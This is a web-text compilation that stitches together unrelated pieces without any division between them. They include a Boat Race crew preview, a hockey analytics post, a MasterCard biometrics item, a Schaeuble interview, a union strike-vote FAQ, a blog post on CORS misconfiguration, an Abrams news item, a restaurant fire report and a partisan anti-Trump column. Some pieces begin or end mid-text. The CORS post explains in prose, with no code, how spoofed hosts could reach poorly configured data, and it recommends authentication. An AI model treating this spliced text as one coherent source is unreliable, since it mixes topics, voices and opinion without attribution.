The shortest and lightest member of the Cambridge crew (she’s 1cm shorter than cox Matthew Holland!), Grant is, nevertheless an extremely talented oarswoman She only started rowing when she went up to Cambridge and quickly progressed through the development squad. In 2016 she was part of the Blondie crew that won the Reserves race by 3 lengths and also raced in the Lightweight Blue Boat. The 21 year old also won gold and silver medals at the 2016 British University Championships and medals at both the 2015 and 2016 European University Rowing Championships. In 2016 she was also part of the Cambridge University LW2- that won the Parkside Trophy at Henley Women’s Regatta.
Verdict: Despite giving away 9kg’s to her opposite number, this is advantage Cambridge.
3 seat
Oxford
Name: Rebecca Esselstein
Nationality: American
Age: 24
Weight: 70.8kg
Height: 170cm
A Rhodes Scholar from the United States Air Force Academy reading for a DPhil in Astrophysics, Esselstein is a relative novice when it comes to rowing. Whilst at the USAF Academy she was more renowned as a runner posting some of the best 800m and 1500m times in the Academy’s history. She only started rowing when she came up to Oxford, but her undoubted athletic prowess has seen her win her seat in the Blue Boat.
Cambridge
Name: Claire Lambe
Nationality: Irish
Age: 26
Weight: 64.8kg
Height: 178cm
The complete opposite of her Dark Blue opponent in terms of rowing experience, Lambe is the most experienced rower in the race. Lambe has been racing at senior international level since 2010 and in 2016 she competed in the LW2X at the Rio Olympics finishing 6th with her partner Sinead Lynch. A graduate of University College Dublin she also made the final of the World University Championships in 2012.
Verdict: Advantage Cambridge
4 seat
Oxford
Name: Rebecca te Water Naude
Nationality: British
Age: 20
Weight: 67.2kg
Height: 182cm
The tallest member of the Oxford crew, Wales’s Rebecca te Water Naude is another relative newcomer to rowing having only taken up the sport in 2014. But her talent was quickly spotted by the Welsh Rowing Academy in Cardiff and she was put on their fast track development scheme. She just missed out on a place in the Blue Boat last year and raced in the losing Osiris boat.
Cambridge
Name: Anna Dawson
Nationality: New Zealander
Age: 26
Weight: 78.6kg
Height: 180cm
One of six U23 internationals in the Cambridge Blue Boat, New Zealand’s Anna Daswon is another outstanding athlete. Winner of a gold medal at the World Junior Championships in 2008 she followed this up with a silver medal in the W8 at the 2011 U23 World Championships. A Psychology graduate from Stanford University she raced in their Varsity 8, and in 2014 was in the crew that won the PAC-12 Championships and in the same year was voted the PAC-12 female athlete of the year. In 2012 she won gold in the W4X at the New Zealand National Championships and narrowly missed out on selection for the 2012 Olympics.
Verdict: Advantage Cambridge
5 seat
Oxford
Name: Harriet Austin
Nationality: New Zealander
Age: 28
Weight: 76.5kg
Height: 178cm
The most experienced member of the Oxford crew, Austin made her senior international debut in 2008 as part of the New Zealand W8 at the Munich World Cup and just missed qualifying for the Beijing Olympics. In 2009 she switched to the quad winning bronze at both the Munich and Lucerne World Cups and took 7th at the World Championships. In the 2010 season she raced in three different boat classes, finishing 8th in the W4X at the first World Cup, 12th in the W1X at the 3rd World Cup and 8th in the W8 at the World Championships. In 2015 she was named as part of the Central Regional Performance Centre squad in New Zealand but has come to Oxford for the 2017 season to read for an MBA at Christ Church. Once completed she could well be back in the mix for a seat in the New Zealand squad for the Tokyo Olympics.
Cambridge
Name: Holly Hill
Nationality: British
Age: 23
Weight: 75.1kg
Height: 183cm
Hill was part of the losing 2015 Blue Boat and after taking a year out of her studies in 2016 to focus on her rowing, she’s back for her 2nd Blue. She’s one of the most talented young women rowers in Britain. She made her international debut in 2015 winning bronze in the W4- at the U23 World Championships and last season she went one better as part of the British U23 W8. She has her sights firmly set on representing Great Britain at the Tokyo Olympics and is part of the British High Performance squad. At the GB National trials last month she finished 2nd with teammate Melissa Wilson in the W2- losing out by less than 1 second over 5Kto a Leander Club pair containing Olympic silver medallist Karen Bennett. I’ll be surprised if she doesn’t make her senior international debut in the very near future.
Verdict: A draw!
6 seat
Oxford
Name: Chloe Laverack
Nationality: American
Age: 24
Weight: 75.3kg
Height: 177cm
Laverack took up rowing at Northeastern University as a “walk on” and progressed from the 3rd to 1st Varsity boats in her 3 years at Northeastern. In her freshman year she finished 3rd at the Eastern sprints. As part of the 1st Varsity crew in 2015 she raced at the Eastern Sprints and won the CAA Championships. At the NCAA Championships they finished 1st in the D Final (19th out of 22). She has a strong connection with Oxford, her uncle Bill Lang, was a winning Oxford Blue in 1983 and 1984.
Cambridge
Name: Alice White
Nationality: British
Age: 24
Weight: 76.3kg
Height: 176cm
Born and educated in Hamilton, New Zealand, White raced for the Kiwis at the 2011 Junior World Championships taking a bronze medal in the JW4-. She then studied at UCLA and rowed in the Bruins Varsity 8 throughout her 4 years of study. She switched to racing for GB in 2015 and was part of the U23 W8 that won bronze at the World Championships. At the recent GB Trials, she and partner Lucy Pike, finished 8th . She’s another athlete that will be looking to gain senior international honours in the near future, and has eyes on a place at the 2020 Olympics.
Verdict: Advantage Cambridge
7 seat
Oxford
Name: Emily Cameron
Nationality: Canadian
Age: 34
Weight: 76kg
Height: 165cm
The oldest rower in the race, she has a wealth of international experience to her name. She made her senior debut in 2010 racing to an 8th place in the W4X at the World Championships. In 2011 she took a 13th place in the W2X. 2013 saw her best ever result when she was part of the W4X that took silver at the World Championships in Chungju. In 2014 the same quartet finished 6th. A graduate of the University of Toronto, she’s at Mansfield College reading for a Masters in Public Policy.
Cambridge
Name: Myriam Goudet
Nationality: French
Age: 28
Weight: 79.5kg
Height: 183cm
One of three returning Blues, Goudet is a highly experienced international athlete. She has progressed through the French national team, starting with the juniors in 2005 and 2006, finishing 5th in the JW8 in ’06. She then moved up to the U23 team in 2007 finishing 7th in the W4X and then 4th in the W4- in 2009. She made her senior debut the same year finishing 6th in the W8 at the European Championships. At the same event the following year she was part of the W8 that finished 8th. In 2012 she was part of the French W4X that tried to qualify for the London Olympics, just missing out in 3rd place. She knows the Tideway extremely well, not only as a returning Blue, but as a graduate of Imperial College. Whilst at IC she won Elite 2X at Henley Women’s Regatta and then bronze in the W4- at the World University Championships.
Verdict: a very narrow win for Oxford
Stroke seat
Oxford
Name: Jenna Herbert
Nationality: American
Age: 23
Weight: 67.1kg
Height: 165cm
The 2nd Rhodes Scholar in the Oxford boat, Hebert is a graduate of the University of Pennsylvania. She spent four years as part of the Penn Quakers Varsity 8 and helped them to their best ever finish at the Ivy League Championships and was awarded the Philadelphia Inquirer’s Academic performer of the Year. In 2013 she made her international debut, finishing 5th in the LW4X at the U23 World Championships.
Cambridge
Name: Melissa Wilson
Nationality: British
Age: 23
Weight: 77.1kg
Height: 178cm
Wilson already has three (losing) Blues to her name and will be desperate to make it 4th time lucky! Along with crewmate Holly Hill, she finished 2nd at the recent GB National trials and will be looking to establish herself as a regular in the senior GB team. She competed for the GB U23 team twice, winning silver in the W8 in 2014 and a bronze in 2015. Also in 2015 she and Holly Hill won gold in the U23 division at the Essen International Regatta. In 2016 she was part of the Leander Club/Reading Rowing Club composite that won the Princess Grace Challenge Cup at Henley Royal Regatta. Like her crewmate, Holly Hill, I expect Wilson to become a regular in the senior GB team and could well feature at the Tokyo Olympics
Verdict: advantage Cambridge
Cox
Oxford
Name: Eleanor Shearer
Nationality: British
Age: 21
Weight: 48kg
Height: 155cm
Shearer is no stranger to the Tideway, the former Westminster school pupil grew up coxing on the championship course and since going up to Oxford coxed the University Lightweights at the Head of the River and the Head of the River Fours.
Cambridge
Name: Matt Holland
Nationality: British
Age: 19
Weight: 51.3kg
Height: 169cm
Another old Westminsterian, Holland coxed the outstanding school 1st VIII in 2015-16. Under his guidance the school won the school’s Head of the River and the National School’s Regatta twice and were finalists in the Princess Elizabeth Challenge Cup at Henley in 2015. In 2014 he coxed the Imperial College W8 at the Women’s Head of the River and competed for GB in the Anglo-French match in 2014.
Verdict: advantage Cambridge.
Those are the crews, so who will win? I’ve put Cambridge ahead in 7 of the 9 seats and their performances so far this season have shown that coach, Rob Baker, has put together an outstanding boat, possibly the finest Cambridge crew for a number of years. In recent fixtures Oxford had a good battle with Oxford Brookes, having to come from behind on both occasions to win. Whilst Cambridge haven’t had a match race against Brookes, they both competed at the recent Women’s Head of the River with the Light Blues finishing 38 seconds ahead of Brookes. At the Reading University Head of the River Oxford were the fastest women’s crew, 13 seconds faster than Brookes. I think it’s clear from the pedigree of the crew and their performances so far this season that Cambridge will be favourites on April 2nd. I’m picking a Light Blue win by 3 lengths.
We have plenty of different names that explain a player’s general “role”. We use words like sniper, dangler, two-way player, and power forwards (even if we can’t agree on what that last one actually means). However, these names are usually limited to the offensive zone. We have no easy way to describe what a player does in the neutral zone.
Identifying neutral zone roles can serve useful purposes. General Managers can try to bolster their roster by ensuring they have the best possible mix of playing styles. Coaches can identify player tendencies and respond to deficiencies. Fans can find neutral zone play more understandable and interesting.
In this post, I try to distinguish neutral zone roles that meet two criteria: First they should provide some quick insight into what to expect of a particular player in the neutral zone. Second, the roles should not closely correlate with overall neutral zone play; if the roles just mean “good” and “bad”, there’s no need for them in the first place.
To do this, I first discuss some of the statistics we have that can shed light on neutral zone playing style. This includes individual entry share and how it may begin to quantify line chemistry. Finally, I introduce five neutral zone “roles” that serve as a shorthand to understand how a given player typically performs in the neutral zone.
Individual Entry Share and Team Chemistry
One avenue to understanding neutral zone playing style is carry-in %, which measures how many of a player’s entries are carry-ins with possession. Carry-in % is a reflection of the player’s tendencies and also a measure of results since carry-ins tend to lead to more shots on net than dump-ins.
Another avenue to measure style is individual entry share. Individual entry share (iES, also called burden) takes advantage of the fact that most neutral zone tracking includes both the player who completed the zone entry and his or her on-ice teammates. Using this, we can calculate the proportion of on-ice team entries where the skater made the play with the puck. A high iES player is a player who gets the puck into the offensive zone himself, no matter how he does it. This is not to say that players with low iES are bad in the neutral zone: they may provide strong defensive play, earlier passes, or savvy positional play to make the entry possible, they just don’t get the puck into the zone themselves.
iES is particularly tantalizing because it may be a proxy for measuring which players “like to have the puck on their stick”. It’s commonly observed that some players are more comfortable stick-handling and making plays, while others prefer to lurk without the puck until an opportune moment. This observation is reasonable and potentially valuable in figuring out which players are best suited to play with one another. However, short of public and verifiable microstats, we do not have a great way to study this idea quantitatively. iES measures who has the puck at the moment of zone entry, which is a window into possession tendencies.
For example, look at this year’s Stanley Cup Champions, the Pittsburgh Penguins. One of the team’s key personnel changes was moving Phil Kessel from a line centered by Evgeni Malkin to one with Nick Bonino. The switch created the dominant HBK line of Hagelin, Bonino, and Kessel. One explanation for the Kessel resurgence on this line was that he and Malkin clashed because both like to carry the puck, whereas Bonino was more adept at deferring to Kessel’s play-driving ability.
iES backs this up this theory. Based on Corey Sznajder’s tracking of the 2013-2014 season, we know that in that year, Kessel had an iES of 33%, while Malkin had 35% and Bonino had 20%. As shown below, Malkin and Kessel’s iESs were both much higher than league average, whereas Bonino’s is much lower. Looking at iES could help other teams determine which wingers might perform best with which centers. Obviously, iES has significant limitations, the largest of which being that it is incredibly dependent on the actions of teammates. In this case, Kessel, Malkin, and Bonino all played for different teams when the data was collected, and it gives us insight into how they eventually played together.
Neutral Zone Roles
Now that we have both carry-in % and iES, how can we use them to assign players with a role? The first step is to plot them in a 2×2 and see the distribution:
This graph shows all forwards who played at least 250 minutes in 2013-2014. While there is a slight positive relationship, there are plenty of players who fall into each of the 4 quadrants divided by the mean of each statistic. I’ve also added 4 names, one in each corner, marking different roles:
Drivers: These players “drive” play in the neutral zone. They frequently possess the puck during entries and carry it in.
Passengers: The opposite of drivers, these players rely on their teammates to conduct zone entries. When they do enter the zone, they tend to dump it in.
Opportunists: These players don’t enter the zone often, but when they do, they do it well. They have high carry-in rates but do not enter the zone as often as their teammates.
Dump Trucks: As the name implies, these players dump the puck in and dump it often. They are tasked with getting the puck into the zone, and they do so by giving up posession.
These roles are not just proxies for good or bad play. A driver’s impact could be negated by terrible defensive play. A dump truck may or may not create a huge volume of entries that his team would not otherwise have. A passenger may produce great results for his team through strong passing and positional play that does not appear in this data.
Below are density curves for the 5v5 Entry For % of players in each role. This shows how well players of that type do at giving their team a majority of entries. Here, we see that the curves are similar and none are dramatically skewed; each role includes both good and bad neutral zone players.
Individual Players and Neutral Zone Roles
Below, you can find a link to an interactive plot with every eligible player based on the 2013-2014 season. These roles are determined based on how the player compares to the league average for either forwards or defensemen, just like in the scatterplot above. I’ve also added a “balanced” label for players who perform near the league average in both stats. You can picture this as a diamond centered on the middle of the scatterplot. (Mathematically, I converted each player’s stats into a z-score that showed how far they fall from the mean in units of standard deviation. Players whose z-scores summed up to less than 1 were labeled “balanced”.)
Use the interactive Tableau here
Finally, there are also some interesting players whose names appear as the most extreme cases of each role. These are the players who appear in the four corners of the scatterplot and have neutral zone tendencies far from league average. I’ve listed those players below, along with some others I found intriguing. Again, not all drivers are good, nor are all passengers bad. We have other ways to measure that, but this helps show what methods the player is using to get to that result.
While these lists don’t provide definitive proof of anything, we can make some initial observations and begin asking questions for further study.
The drivers list includes some indisputably great players (including both Kessel and Malkin), who are used to driving their team’s performance in other areas. It also has players like Leddy, Barrie, and Yandle, who generally have a better reputation among the analytics community than elsewhere. Perhaps their neutral zone play is one area that drives results but is overlooked by the eye test
In contrast to the drivers list, some of the most extreme passengers are generally bad players or “defensive defensemen” who make limited contributions. Despite my earlier notes about good and bad players appearing in each group, there definitely are some clear trends in ability at the extremes.
The “dump trucks” include, with some exceptions, players I would generally categorize as depth players. These players are serving a key function for their lines, suggested they may make a particular contribution to their team’s neutral zone play.
After a successful pilot program, MasterCard says it wants to bring “selfie pay” security checks to more countries later this year. The technology works exactly as you’d expect: In order to authenticate a payment on your phone, simply hold your device up to your face.
Of course, it’s not quite so simple. MasterCard says there are a number of safeguards in place so it’s not fooled by a picture or video. For example, users will need to blink to prove they’re not trying to fool the software. MasterCard claims its algorithms are good enough to know the difference between an actual person and a phony.
Beyond facial recognition, MasterCard is apparently looking at other possible biometric options. As if fingerprint authentication wasn’t good enough, the company is apparently investigating heartbeat recognition.
Greece, Portugal, Ireland and Cyprus remain dependent on EU/IMF bailout funds
Comments come ahead of September 22 elections for Chancellor Angela Merkel
The 17-nation eurozone recently emerged from its longest ever recession
German Finance Minister Wolfgang Schaeuble says the eurozone's problems are not solved, but "we are in a much better shape than we used to be some years ago." Asked whether he foresaw any further bailouts coming, he replied: "No, no I don't see."
In a rare interview, conducted in English, he said: "If Chancellor Merkel (is) reelected I am confident that we will continue to work for a stronger Europe -- that's our general position. We don't want a German Europe but we want a strong Europe and that means every member state including Germany has to increase its competitiveness," Schaeuble said.
"A stronger Europe means that everyone has to do its duty and not to ask for more money by others -- that's the wrong way to get a strong Europe, that's the wrong incentive."
His comments come ahead of the September 22 election, as Merkel faces a German electorate weary of Europe's largest economy helping to bail out troubled eurozone nations, whose debt woes have threatened the stability of the currency.
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Greece, along with three other eurozone countries -- Portugal, Ireland and Cyprus -- remain dependent on rescue loans from the EU and International Monetary Fund (IMF).
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The 17-nation eurozone has emerged from its longest ever recession, growing 0.3% in the second quarter after 18 months of contraction. Unemployment rates remain high, but worries that the debt crisis could spread to larger economies such as Spain and Italy -- which both saw borrowing costs climb dangerously high last year -- have abated.
There will be two Special General Membership Meetings to discuss the strike mandate vote:
Voting will open at the January 19 SGMM, and continue from Monday January 22, to Friday January 26.
Why are we having a strike mandate vote?
The collective agreements for CUPE 3903 Units 1, 2, and 3 expired on August 31, 2017. Since that time, we have collected data, prepared proposals, and begun bargaining. From the very first exchange of proposals, the York University administration has set a very aggressive tone and made it clear that they expect us to accept concessions that would weaken all three contracts. In order for bargaining to be successful, we need to pressure the employer to take our proposals seriously and respect the work done by our members at York.
Having a strike vote has two effects: 1) it shows the Employer that we are serious about our proposals, and that the members are mobilizing to support them; and 2) in the process of mobilizing, it helps the members prepare for a strike – in case we actually need one.
What kind of strike mandate vote do we need?
The most effective strike mandate vote has a high turnout (the number of members who vote) and a strong strike mandate (the proportion who vote yes). If we get both a high turnout and a strong strike mandate, the employer will know that we are serious about our proposals.
A high turnout is important because it shows that a wide cross-section of the membership is engaged and mobilized about the bargaining process. A strong ‘YES’ vote is also important because the union is strongest when it is united. The Employer will be much more fearful of a strike – and more likely to negotiate seriously – if they know that the vote represents a real threat, and not just a bluff.
Does a ‘YES’ vote mean that we’re going on strike?
A strong strike mandate vote does not necessarily mean we will strike, but it does indicate that we are ready to do so if necessary. However, there is an extra step in place before a strike: if the Executive Committee and Bargaining Team believe that York’s so-called “Final Offer” is not suitable, they will ask the membership to vote in favour of either strike action or a return to the bargaining table with particular demands at the “Final Offer” Special General Membership Meeting.
How do we get a strong strike mandate?
The best way to get a strong strike mandate is to involve the largest number of members possible, and to make sure everyone has access to the same information and may participate in the same discussion and debates – so that we’re confident about why we need a strike mandate vote and how it will help the bargaining process. The Bargaining Mobilization Committee is holding its first meeting of 2018 on January 5 at 2:00 pm. All members welcome!
What happens after a successful strike mandate vote?
After a successful strike mandate vote, the Bargaining Team returns to the bargaining table empowered to negotiate a good contract for all three units. If the employer still doesn’t take bargaining seriously, we move to next steps. First both parties will have to meet with a conciliator. If no agreement can be reached, the conciliator files a “No-Board” report, which indicates to the Ministry of Labour that the parties are too far apart to reach an agreement. After the No-Board, there is a mandatory wait period of 17 days before we reach a strike or lockout position.
CORS (Cross-Origin Resource Sharing)
POSTing a HTML form over HTTP(S) served up on one domain to another, has always been possible. CORS though brings back some of the fine-grained capabilities of that pre-SOP era. Read about CORS on wikipedia or Mozilla Dev Network. The skinny is that modern CORS-compatible web servers and browsers can negotiate over pre-configured URLs that can bust out of the SOP restrictions like we could in the early days. These days nobody develops Java applets, a JavaScript microframeworks rule the roost.
Serverless programming
Technologies like CouchDB can be installed an configured as a canonical data store, and seamlessly provide sophisticated query capabilities for JSON documents help within. Pages that would use that can be served statically from a different domain, and via Angular (etc) can interact with the data in the former. Maybe your dot-com is not going to launch in that style, but whole classes of Lotus-Notes style applications can have a highly economic life developed that way. Never mind serverless, it is programmer-less application development that is within reach.
Unauthorized access to CORS data (problem).
Context
Say you had an Angular (etc) app on https://foo.example.com. Say, via CORS, it is reading and writing data to https://yourAccount.bigCORSservice.com/foo/ relying on the latter being configured at a CORS level to exclusively speak to the former.
Note: Angular’s first pre-Google use was “Get Angular” which concentrated on the hosting of data as a service as much as Angular itself.
Problem
Anyone could spoof their own /etc/hosts entry to masquerade (in our example) foo.example.com and route to 127.0.0.1 to gain access to all the data held at yourAccount.bigCORSservice.com/foo, but with a completely different web-application application interoperating with it.
Going further, someone could write some simple Python (etc) logic to open sockets to the CORS server in question and do all the handshaking necessary to have open access to the data within.
Both of these are possible if the sole CORS restriction is to the allowed a domain (rather than just wildcard = “*”). Meaning someone can sidstep the entry level of CORS restricting that can be coded in server side config.
Solution
Secure Authentication is needed, both for the read-only usage of the CORS accessible data and for modifications to it. Unless the data is relatively public, in which you’d authenticate the user only for write, update, or delete. That too has a caveat - there are some classes of data that you’re happy to wiki-style updated without authentication (and don’t care if they are vandalized from time to time).
Caveats
Regardless of the /etc/hosts trickery I talk about above, a hackers version of Firefox or Chrome could easily incorrectly honor its half of the CORS negotiation to make data similarly masquerade on the accessing domain. Neither of those two are vulnerabilities for random visitors to websites (unless the CORS server operator configured “*” for allowed domains). They are only vulnerability to your data, and the end-user (hacker) has gone to some level to set it up.
“*” and CORS community advice
Site enable-cors.org has a ‘server’ page. Their advice presently, suggests “*” for Apache, AppEngine, ASP.NET, AWS, CGI Scripts, ExpressJS, IIS 6 & 7, Meteor, Nginx, Perl PSGI scripts, PHP, ColdFusion, Tomcat, WCF. As a suggestion, asterisk is the most wide open configuration, and is not helpful. Only enable-cors.org’s Virtuoso page mentions alternate domain configurations but none of those pages steps further into authentication or differential r/w permissions.
With an asterisk configuration of the CORS server, it is possible for anyone else to mount a website in public, that can interoperate with your data just as well as your application can. Of course that’s only true if your CORS server is mounted on the public internet. Even if you authenticate against that data, the “*” mounting of it, allows for third-parties to deploy first class applications interoperating with your data.
Conclusion.
This isn’t really a true vulnerability, just a feature of technology that you should consider. Someone, on their own desktop system, can make your data more open that you intended it if you malcofigured your CORS server. Explicitly you should consider read and write access behind a formal login/authentication to the CORS server by default, and soften that only after conversations about sensitivity and approved usage of the data (or modification to it).
Abrams, a figure of the Washington establishment and pro-Israel community, held multiple high-level positions in the Ronald Reagan and George W. Bush administrations. He was long cited as a top contender for the position.
Both Secretary of State Rex Tillerson and Trump’s Jewish son-in-law Jared Kushner were reported to have strongly urged the hiring of Abrams, citing his vast foreign policy experience, but were unable to convince Trump after he learned of the his rebuke of him months ago.
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In May 2016, Abrams penned an article for the conservative magazine The Weekly Standard titled “When You Can’t Stand Your Candidate,” which described the former reality television star as “someone who cannot win and should not be president of the United States.”
The piece was published shortly after Texas Sen. Ted Cruz and Ohio Gov. John Kasich dropped out of the GOP race, solidifying Trump’s victory as the party’s 2016 presidential nominee.
CNN cited a Republican source familiar with the matter who said Abrams was scrapped as a candidate for the job at State because of “Donald Trump’s thin skin and nothing else.”
The two met at the White House Tuesday about the position, and while that conversation reportedly went well, Trump then became familiar with Abrams’ critique of his candidacy and ruled out hiring him.
Trump has spoken harshly in the past of many foreign policies that Abrams played a critical role in crafting, including the 2003 invasion of Iraq, which Trump first supported but would later denounce.
Abrams, who is Jewish, is associated with neoconservatism, an ideology that favors interventionist foreign policies and democracy promotion around the globe — two core principles unaligned with Trump’s stated thinking. Abrams’ late wife, Rachel Decter Abrams, was the daughter of Norman Podhoretz, one of the movement’s founders.
During the Bush administration, Abrams served as deputy assistant to the president and deputy national security adviser, where his portfolio included the White House’s Middle East policy. During the Reagan administration, he was an assistant secretary of state; he pleaded guilty to withholding information from Congress on the Iran-Contra scandal, but was pardoned by George H.W. Bush.
Abrams has also been affiliated with a number of Jewish and pro-Israel groups, including the American Jewish Committee, for which he was once a member of its National Advisory Council, and the Jerusalem-based NGO Monitor.
Firefighters were called to Bedrock Bistro, 260 Queenston Road, at Parkdale Avenue just after 9:30 p.m.
"When we arrived we could see smoke," said Fire Information Officer Claudio Mostacci. "It was a forceful entry to get inside. It was closed for the day."
Once in, firefighters were met with a fully involved kitchen blaze.
"It appears cooking equipment was left on and it ignited," Mostacci said.
We regret to inform you there has been a tragedy at the restaurant today. Our kitchen caught on fire. The good... https://t.co/kSKB7M3vCV — The Bedrock Bistro (@bedrockfamily) November 17, 2016
Damage is estimated at $90,000 and was contained to the kitchen. It's not likely the restaurant can reopen today, Mostacci said. Hamilton Public Health was also notified.
No one was injured. Firefighters remained at the scene until after midnight to monitor hot spots.
So say thousands of supporters of The Donald throughout the internet. Old and young, male and female, they say it vehemently, without reservation. I confess that for the longest time, I thought I detected a note of protesting too much in their assurances, as though they were saying these things more as a talisman against their own doubts than as a counterargument to anything Trump's critics were saying. This seemed the most reasonable interpretation, because it was apparent that these people had nothing substantial to say against the criticism itself.
But on the Lewis Carroll principle that "What I tell you three times is true," it follows that what hundreds of people tell you thousands of times must be super-duper-true. So I've decided to stop denying the obvious and start trusting Donald Trump to do exactly what he says he'll do.
Don't get me wrong. I'm not saying I trust him to do what his followers say he's going to do. They have invented their own weird category of campaign promises – namely, promises they make to themselves in Trump's name. Wish-fulfillment promises. Projection promises. "If I were the candidate, I would do X" promises.
These supporters have stocked their weird new category with all kinds of amazing ideas, but the most commonly cited are probably these three: "He's going to deport all the illegals so we can have our country back." "He's going to clean out all the cronies and hacks in the Washington establishment." "He's going to deal mercilessly with the Muslim threat."
I suppose these three promises Trump's supporters make to themselves are the most commonly repeated for the simple reason that they can't find anything he actually believes that they could, in good conscience, cite as a reason for supporting him.
Would these people – and I say "people" to clarify that I'm talking about the patriotic Americans among his followers, and excluding the progressives, white supremacists, reality TV junkies, and ex-Obama cultists looking for a new god – but would these decent people have the nerve to defend Trump for saying he wants universal health care? For saying people who don't support socialized medicine "have no heart"? For saying an old lady who doesn't want to give up her "terrible house" to a private real estate development project should be forced off her property by the government? For saying a sixty-year-old Republican woman is too unattractive to be president? For saying a senator is an unlikeable candidate because he hasn't ingratiated himself with Mitch McConnell? For donating more than $60,000 to McConnell's 2014 fight against a Tea Party challenger, and publicly endorsing him for Senate majority leader? For saying he likes and looks forward to making "great deals" with Chuck Schumer, Nancy Pelosi, and other socialists? For saying that not only were the bank bailouts a good idea, but even nationalizing the banks would be acceptable in the event of an economic crisis such as the one in 2008? For finding freedom of speech objectionable and unworthy of defense when people use it to say things he doesn't like? For casually supporting unlimited NSA authority to collect everyone's private communications, or proposing to "call Bill Gates" and shut down parts of the internet? For promising to use presidential authority to punish companies that send jobs overseas, while he has done the same himself, or for hiring foreign workers rather than qualified Americans, while he does it himself?
Of course, his rational supporters could not cite any of these positions or promises in his defense. After all, they might as well vote for Hillary Clinton if they agreed with any of those ideas. How different are they from her positions? And Hillary, like Trump, supported both Jimmy Carter and Walter Mondale against Ronald Reagan. She too, at the end of Reagan's presidency, would have written, as Trump did, that he was a con man whom "people are beginning to question" concerning "whether there is anything beneath that smile." She too believed in 2008 that she would make "a great president." She, like Trump, would have said, during Obama's 2012 re-election campaign, that she was doing "a good job" as secretary of state.
So it stands to reason these Trump supporters would cling to their three big wish-fulfillment promises noted above – deporting all the illegals, cleaning up Washington, fighting Islamism – even though none of them represents Trump's actual positions.
Trump, like all progressive-spirited sophists, is a master of the rhetorical skill we might call "far side of the moon" campaigning. He deliberately embraces positions that, if looked at from different angles, seem to be saying almost contradictory things. Thus, by carefully emphasizing the half of the position that his given audience prefers to hear, he convinces them that he believes what they believe. The next day, when he is called on it by the opposing side of the debate, he (or a surrogate) simply restates the position with emphasis on its other half, which was left in the dark when speaking to the previous audience.
Hence you get "a big beautiful wall" – with a "big beautiful door." You get "free market solutions" on health care – with universal coverage paid for by the government. You get a ban on Muslim immigration (whatever that means) – for an unspecified brief time.
But if you focus only on the first part of each of those positions – the part a person in despair at the thought of losing his country might prefer to hear – you can almost believe that Trump really took the position you wished he had taken. Once you have convinced yourself that what you wanted him to say is what he actually said, no one can talk you out of that dead certainty. In fact, not even Trump himself can dissuade you from trusting what you believe you heard him say.
Trump seems to have intuited this weakness of desperate human beings – their willingness to see what they need to see, in defiance of the truth that is before them – and he is exploiting it for his own short-term advantage. I say short-term because it is obvious that once he is the GOP nominee, he will, as he has promised, change his tone and become something completely different for the general election. In saying this, Trump is merely telling you the truth – namely, that he is not a man of principle or a real leader. He is a professional salesman who is adept at winning over an audience by quickly divining what that audience wants to believe and then giving it to that audience with both barrels. That is, he is a sycophant who has the dubious skill of bluffing his victims into feeling he is leading them rather than merely flattering them with imitation.
This modus operandi is obviously the opposite of what people want in a political leader, because it guarantees that he will betray you the moment he is speaking to an audience with different priorities. (And is there a public figure on Earth with a clearer record of such betrayals?) But because his sales pitch is so blunt and vigorous, even his promise of hypocrisy tends to get absorbed into the audience's admiration: "Of course he has to speak differently in the general election. That's what he needs to do to win – so that he can then fulfill all the great promises he made to us!"
We see this convenient delusion regularly among Trump supporters. Every time you mention all the large contributions Trump has made to leading progressive establishment politicians of both parties, right up to the year before his candidacy, his fans enthusiastically recite his own revealing rationalization, which boils down to "I'm a businessman, and I saw my personal advantage in propping up the socialists and other soft despots of the Washington establishment, so naturally I supported them in exchange for influence and favors." In other words, he's a poster boy for crony capitalism – but that's okay, in his case alone, because oh boy, when he's elected, "Trump will do what he says."
I give up. It works for me now. Trump will do what he says. He's not a lying politician. He promised to do it, and he will. Please allow me to explain my new faith.
He promises to send all the illegals to Mexico, and then bring almost all of them back on an expedited path to legalization. This is called touchback amnesty; it was endorsed many years ago by The New York Times and supported by a large majority in an LA Times poll of illegal immigrants. When Trump was accused by his useful idiot media of being a troglodyte for wanting to deport twelve million law-abiding criminals, his son was quick to shine a light on the far side of that moon:
The point isn't just deporting them, it's deporting them and letting them back in legally. He's been so clear about that [when speaking to certain audiences] and I know the liberal media wants to misconstrue it, but it's deporting them and letting them back legally.
He promises touchback amnesty, and I believe him.
He promises to get along with everyone in Washington, to make deals with Nancy Pelosi and Chuck Schumer, to support Mitch McConnell as Senate majority leader (unlike that guy everybody hates, Ted Cruz), and to "take the calls" of all those members of the establishment he always worked with back (eighteen months ago) when he "was a member of the establishment – meaning a giver, a big donor." In other words, he promises that his anti-establishment, "burn the place down" rhetoric is just rabble-rousing talk, but that in truth he will be a model Washington establishment back-scratcher.
He promises to continue his lifelong friendship with the progressive status quo, and I believe him.
He promises that his much loved (by his supporters) "ban on Muslim immigration" is merely a temporary "pause," which was presented with the light shining on the "ban" side of its moon in order to appeal to the nationalist sentiment of his crowds, but which was really just a call for administrative adjustment of immigration procedures from a candidate who had, a few months earlier, supported the acceptance of Syrian refugees.
When free speech activists, including Geert Wilders, gathered in Texas for a "Draw Muhammad" contest in 2015, to show solidarity with European artists and journalists living (and dying) under threat of attack by Islamists, the gathering itself was attacked by Islamists who have since been connected with ISIS. Donald Trump held the event's organizer, Pamela Geller, responsible for the violence and loss of life, on the grounds that people shouldn't speak in a way that might aggravate Muslim jihadists:
What is she doing, drawing Muhammad? It looks like she's actually taunting people. ... Isn't there something else they can draw? ... They can't do something else? They have to be in the middle of Texas, doing something on Muhammad and insulting everybody?
He recently said he wishes to remain neutral for the moment regarding negotiations between Israel and the Palestinians, basically in order to retain the element of surprise should he end up involved in those negotiations. That is, he seeks to maintain neutrality between a longtime American ally under siege by jihadists and a terrorist-electing faction supported for years by the mullahs in Iran.
He advocated using American military assets to support the Islamist uprising against Moammar Gaddafi, actually proposing that U.S. troops be sent in to "knock this guy [Gaddafi] out very quickly, very surgically." (That this is the far side of the moon that he is hoping to hide in front of his current audience is proved by his outright lie, during the February 25 debate, when he claimed he had never discussed Libya before.)
Few American public figures have been more deeply involved in offering aid and comfort to the global Islamist movement than Hillary Clinton. Trump's support for Clinton continued through to the fall of 2013, after her tenure at the State Department was over, when he told Larry King, "I know her very well. They're members of my club, and I like both of them very much." This, you may note, was a full year after the Benghazi attack, a year after Hillary's "offensive video" cover story to protect herself and Barack Obama from culpability, months after she responded to questions concerning her lies about the causes of that terrorist attack by screaming, "What difference, at this point, does it make?"
